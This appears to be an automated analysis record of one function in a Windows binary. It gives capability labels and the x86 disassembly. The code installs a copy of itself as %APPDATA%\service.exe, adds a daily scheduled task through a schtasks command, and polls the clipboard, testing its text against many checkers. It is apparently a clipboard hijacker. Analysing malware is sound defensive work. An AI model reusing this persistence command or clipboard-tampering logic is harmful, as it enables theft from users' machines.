Function at 0x4054f0
Capabilities:
Create process on windows
Open clipboard
Query environment variable
Read clipboard data
Schedule task via at
Schedule task via schtasks

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push esi
push ebx
push ecx
lea ebx, [ebp - 0x324]
lea esi, [ebp - 0x220]
sub esp, 0x33c
call fcn.004032c0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str._C_schtasks__create__tn_MyApp__tr__APPDATA__service.exe__st_00:00__du_9999:59__sc_daily__ri_1__f
mov dword [esp + 8], str.cmd.exe
mov dword [esp + 4], str.open
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
mov dword [esp + 4], ebx
mov dword [esp + 8], 0x104
mov dword [esp], eax
call sub.KERNEL32.dll_GetModuleFileNameA
sub esp, 0xc
mov dword [esp + 4], esi
mov dword [esp + 8], 0x104
mov dword [esp], str._APPDATA_
call sub.KERNEL32.dll_ExpandEnvironmentStringsA
sub esp, 0xc
mov dword [esp + 8], esi
lea esi, [ebp - 0x11c]
mov dword [esp + 0xc], str.service.exe
mov dword [esp + 4], str._s_s
mov dword [esp], esi
call sub.msvcrt.dll_sprintf
mov dword [esp + 4], esi
mov dword [esp], ebx
call fcn.00402d30
jmp 0x4055cf
mov dword [esp], 0x12c
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x4055c0
mov dword [esp], 1
call sub.USER32.dll_GetClipboardData
sub esp, 4
test eax, eax
mov esi, eax
je 0x405720
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
test eax, eax
mov ebx, eax
je 0x405720
mov dword [esp], esi
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp], ebx
call fcn.00401ad0
test al, al
jne 0x405740
mov dword [esp], ebx
call fcn.00401970
test al, al
jne 0x405730
mov dword [esp], ebx
call fcn.00402780
test al, al
jne 0x405750
mov dword [esp], ebx
call fcn.004028c0
test al, al
jne 0x405760
mov dword [esp], ebx
call fcn.00402990
test al, al
jne 0x405770
mov dword [esp], ebx
call fcn.00402ae0
test al, al
jne 0x405780
mov dword [esp], ebx
call fcn.00402a70
test al, al
jne 0x405787
mov dword [esp], ebx
call fcn.00402a10
test al, al
jne 0x40578e
mov dword [esp], ebx
call fcn.00402bb0
test al, al
jne 0x405795
mov dword [esp], ebx
call fcn.00402b40
test al, al
jne 0x40579c
mov dword [esp], ebx
call fcn.00402c20
test al, al
jne 0x4057a6
mov dword [esp], ebx
call fcn.00402860
test al, al
jne 0x4057b0
mov dword [esp], ebx
call fcn.00402c90
test al, al
jne 0x4057ba
mov dword [esp], ebx
call fcn.00402920
test al, al
jne 0x4057c4
mov dword [esp], ebx
call fcn.004027f0
test al, al
jne 0x4057ce
mov dword [esp], ebx
call fcn.004015b0
test al, al
jne 0x4057d8
nop
lea esi, [esi]
call sub.USER32.dll_CloseClipboard
jmp 0x4055c0
call fcn.004019d0
jmp 0x405720
call fcn.00401b30
jmp 0x40562b
call fcn.00401610
jmp 0x405720
call fcn.00401730
jmp 0x405720
call fcn.00401c30
jmp 0x405720
call fcn.00402200
jmp 0x405720
call fcn.00401e50
jmp 0x405720
call fcn.00401d50
jmp 0x405720
call fcn.00402110
jmp 0x405720
call fcn.00401f10
jmp 0x405720
call fcn.00402010
jmp 0x405720
call fcn.00402460
jmp 0x405720
call fcn.00402580
jmp 0x405720
call fcn.00401850
jmp 0x405720
call fcn.00402300
jmp 0x405720
call fcn.00401460
jmp 0x405720